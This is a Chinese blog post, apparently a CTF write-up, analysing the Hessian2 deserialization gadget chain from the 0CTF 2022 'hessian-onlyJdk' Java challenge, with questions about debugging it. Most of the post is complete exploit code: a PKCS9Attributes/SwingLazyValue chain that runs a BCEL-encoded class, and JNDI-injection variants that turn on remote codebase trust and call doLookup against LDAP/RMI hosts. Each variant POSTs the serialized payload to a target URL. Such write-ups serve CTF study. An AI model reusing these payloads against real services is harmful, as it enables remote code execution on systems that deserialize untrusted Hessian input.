关于hessian2的一些疑点(0CTF来分析)

目录

前言:csdn很久不用了,打算最近拾起来,主要是监督自己。

非常可疑的点

另一种方法通过JNDI注入来

 构造完整的链子

这里,希望佬们解答解答,非常感谢!!!


前言:csdn很久不用了,打算最近拾起来,主要是监督自己。

从SCTF的java题,看到了0CTF的java,发现都是考察hessian2的链子,于是分析了一段时间。

发现本地搭建,就算使用师傅们的EXP都打不通,很郁闷,是jdk的原因嘛??

题目源码下载:https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2022/hessian-onlyJdk

package octf;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.springframework.web.client.RestTemplate;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;
import com.caucho.hessian.io.Hessian2Output;
import org.springframework.http.HttpEntity;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import javax.swing.*;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.Socket;
import java.net.URI;

public class pppoc {
    public static void main(String[] args) throws Exception {
        PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class);



        UIDefaults uiDefaults = new UIDefaults();
        JavaClass evil = Repository.lookupClass(linux.class);
        String payload = "$$BCEL$$" + Utility.encode(evil.getBytes(), true);

        uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));

        setFieldValue(s,"attributes",uiDefaults);

//        ByteArrayOutputStream baos = new ByteArrayOutputStream();
//        Hessian2Output out = new Hessian2Output(baos);
//        baos.write(67);
//        out.getSerializerFactory().setAllowNonSerializable(true);
//        out.writeObject(s);
//        out.flushBuffer();

//        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
//        Hessian2Input input = new Hessian2Input(bais);
//        input.readObject();

        doPOST(serialize(s));
    }

    public static  T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        //实例化的类    实例化的超类   构造函数类型   构造函数值
    }

    public static  T createWithConstructor(Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
        Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(obj);
        out.flushBuffer();
        return baos.toByteArray();
    }
    public static void unserialize(byte[] stream) throws IOException {
        ByteArrayInputStream arrayInputStream=new ByteArrayInputStream(stream);
        Hessian2Input hessian2Input=new Hessian2Input(arrayInputStream);
        hessian2Input.readObject();

    }
    public static void doPOST(byte[] obj) throws Exception{
        URI url = new URI("http://127.0.0.1:8090/");
        HttpEntity requestEntity = new HttpEntity(obj);
        RestTemplate restTemplate = new RestTemplate();
        ResponseEntity res = restTemplate.postForEntity(url, requestEntity, String.class);
        System.out.println(res.getBody());
    }
}
runMain:131, JavaWrapper (com.sun.org.apache.bcel.internal.util)
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
getAttribute:265, PKCS9Attributes (sun.security.pkcs)
toString:334, PKCS9Attributes (sun.security.pkcs)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)

跟着调试的话会更加容易理解一点,上面一层调用一层是做了一个反射构造器的实例化,这里我推测是因为如果直接传入参数会出现类型不匹配,所以用了反射的操作。

非常可疑的点

createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)

就在这两步的调用中,无论如何都调用不到createValue,关于hessian2的一些疑点(0CTF来分析)_第1张图片

 也就是在这里super.get获取的值一直为null,

关于hessian2的一些疑点(0CTF来分析)_第2张图片关于hessian2的一些疑点(0CTF来分析)_第3张图片

关于hessian2的一些疑点(0CTF来分析)_第4张图片

这里传入的就是key,应该是那个恶意BCEL表达式。 但会一直是null把断点下到了最后命令执行的地方,也跳转不过去,但是如果直接运行还是会弹出计算器的。

另一种方法通过JNDI注入来

package octf.jndi;
import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import java.io.*;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.*;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.util.*;
public class sss {
    static final String targetUrl="http://192.168.238.165:8090/";
    public static void main(String[] args) throws Exception {
//        exec("java.lang.System","setProperty",new String[]{"java.rmi.server.useCodebaseOnly","false"});
//        exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.rmi.object.trustURLCodebase","true"});
//        exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"});
//        exec("javax.naming.InitialContext","doLookup",new String[]{"rmi://xxxx:1099/4metkg"});
        SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:1389/ilsogp"});
       // SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"rmi://127.0.0.1:1099/ilsogp"});
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
        Object o=obj("sun.security.pkcs.PKCS9Attributes");
        setValue(o,"attributes",uiDefaults);
        o.toString();
       // SwingLazyValue
//javax.naming.InitialContext.doLookup()


    }

    public static void exec(String className,String methodName,Object[] args) throws Exception{
        SwingLazyValue value= new SwingLazyValue(className, methodName, args);
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
        Object o=obj("sun.security.pkcs.PKCS9Attributes");
        setValue(o,"attributes",uiDefaults);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessianOutput1=new Hessian2Output(byteArrayOutputStream);
        hessianOutput1.getSerializerFactory().setAllowNonSerializable(true);
        hessianOutput1.writeString("aaa");
        hessianOutput1.writeObject(o);
        hessianOutput1.flushBuffer();
        byte[] b=byteArrayOutputStream.toByteArray();

        post(b);
    }
    public static void post(byte[] b) throws Exception{
        URL url=new URL(targetUrl);
        HttpURLConnection con = (HttpURLConnection) url.openConnection();
        con.setRequestMethod("POST");
        con.setDoOutput(true);
        try(OutputStream os = con.getOutputStream()) {
            os.write(b);
        }


        BufferedReader in = new BufferedReader(
                new InputStreamReader(con.getInputStream()));
        String inputLine;
        StringBuffer content = new StringBuffer();
        while ((inputLine = in.readLine()) != null) {
            content.append(inputLine);
        }
        in.close();

        System.out.println(content.toString());
    }

    public static Object obj(String s) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        return createWithoutConstructor(Class.forName(s));
    }
    public static  T createWithoutConstructor ( Class classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static  T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }
    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
        if (javaVersion < 12) {
            // quiet runtime warnings from JDK9+
//            Permit.setAccessible(member);
        } else {
            // not possible to quiet runtime warnings anymore...
            // see https://bugs.openjdk.java.net/browse/JDK-8210522
            // to understand impact on Permit (i.e. it does not work
            // anymore with Java >= 12)
            member.setAccessible(true);
        }
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

其实可以简单的看出来这俩种方法的区别就是在于,最后swingLazyValue#createvalue方法中的invoke方法,一个是利用BCEL触发命令执行,一个是用的dolookup触发的命令执行,然后简单的解释一下里面代码的作用。

关于hessian2的一些疑点(0CTF来分析)_第5张图片

关于hessian2的一些疑点(0CTF来分析)_第6张图片 这个put就是这个,但始终为null,所以key就是我们传入的键名,

SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:1389/ilsogp"});

 关于hessian2的一些疑点(0CTF来分析)_第7张图片

上面的初始化通过invoke很好写,这里不加描述,关于hessian2的一些疑点(0CTF来分析)_第8张图片 最后命令执行点是这里的doLookup会调用lookup。

SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:1389/ilsogp"});

这里的1389是我本地开启的关于hessian2的一些疑点(0CTF来分析)_第9张图片

 构造完整的链子

package octf.jndi;

import com.caucho.hessian.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import sun.swing.SwingLazyValue;

import java.io.*;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.*;
import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.util.*;
public class Solve {
    static final String targetUrl="http://192.168.238.165:8090/";
    public static void main(String[] args) throws Exception {
        exec("java.lang.System","setProperty",new String[]{"java.rmi.server.useCodebaseOnly","false"});
        exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.rmi.object.trustURLCodebase","true"});
        exec("java.lang.System","setProperty",new String[]{"com.sun.jndi.ldap.object.trustURLCodebase","true"});
        exec("javax.naming.InitialContext","doLookup",new String[]{"rmi://xxxx:1099/4metkg"});
    }

    public static void exec(String className,String methodName,Object[] args) throws Exception{
        SwingLazyValue value= new SwingLazyValue(className, methodName, args);
        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put(PKCS9Attribute.CHALLENGE_PASSWORD_OID,value);
        Object o=obj("sun.security.pkcs.PKCS9Attributes");
        setValue(o,"attributes",uiDefaults);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessianOutput1=new Hessian2Output(byteArrayOutputStream);
        hessianOutput1.getSerializerFactory().setAllowNonSerializable(true);
        hessianOutput1.writeString("aaa");
        hessianOutput1.writeObject(o);
        hessianOutput1.flushBuffer();
        byte[] b=byteArrayOutputStream.toByteArray();

        post(b);
    }
    public static void post(byte[] b) throws Exception{
        URL url=new URL(targetUrl);
        HttpURLConnection con = (HttpURLConnection) url.openConnection();
        con.setRequestMethod("POST");
        con.setDoOutput(true);
        try(OutputStream os = con.getOutputStream()) {
            os.write(b);
        }


        BufferedReader in = new BufferedReader(
                new InputStreamReader(con.getInputStream()));
        String inputLine;
        StringBuffer content = new StringBuffer();
        while ((inputLine = in.readLine()) != null) {
            content.append(inputLine);
        }
        in.close();

        System.out.println(content.toString());
    }

    public static Object obj(String s) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        return createWithoutConstructor(Class.forName(s));
    }
    public static  T createWithoutConstructor ( Class classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static  T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }
    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
        if (javaVersion < 12) {
            // quiet runtime warnings from JDK9+
//            Permit.setAccessible(member);
        } else {
            // not possible to quiet runtime warnings anymore...
            // see https://bugs.openjdk.java.net/browse/JDK-8210522
            // to understand impact on Permit (i.e. it does not work
            // anymore with Java >= 12)
            member.setAccessible(true);
        }
    }
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

直接照搬了,和上面那个没区别,就是在setAccess考虑了版本, 

代码的作用是根据当前Java版本来设置成员的访问权限。首先,它通过System.getProperty("java.version")获取当前Java版本的字符串表示。然后,它将版本字符串按照.进行分割,并取得第一个部分作为整数类型的Java版本号。

接下来,代码使用条件语句判断Java版本号是否小于12。如果小于12,则注释掉了一行代码Permit.setAccessible(member),这是为了抑制JDK9+版本中的运行时警告。这里的Permit可能是一个自定义的类或库,用于设置访问权限。

如果Java版本大于等于12,则执行member.setAccessible(true),将成员的访问权限设置为可访问。

需要注意的是,注释中提到从Java 12开始,无法再抑制运行时警告,因为在Java 12及以上版本中,Permit可能不再起作用。这是由于Java开发团队在JDK-8210522中修复了一个问题,导致无法继续使用Permit来设置访问权限。

总之,这段代码根据Java版本来设置成员的访问权限,并考虑了不同版本之间的差异和限制。

因为题目是高jdk,

  1. JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  2. JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false
  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

所以需要修改,但是把题目搭建在本地,进行调试还是卡在了

createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)

这里,希望佬们解答解答,非常感谢!!!

 

你可能感兴趣的:(java)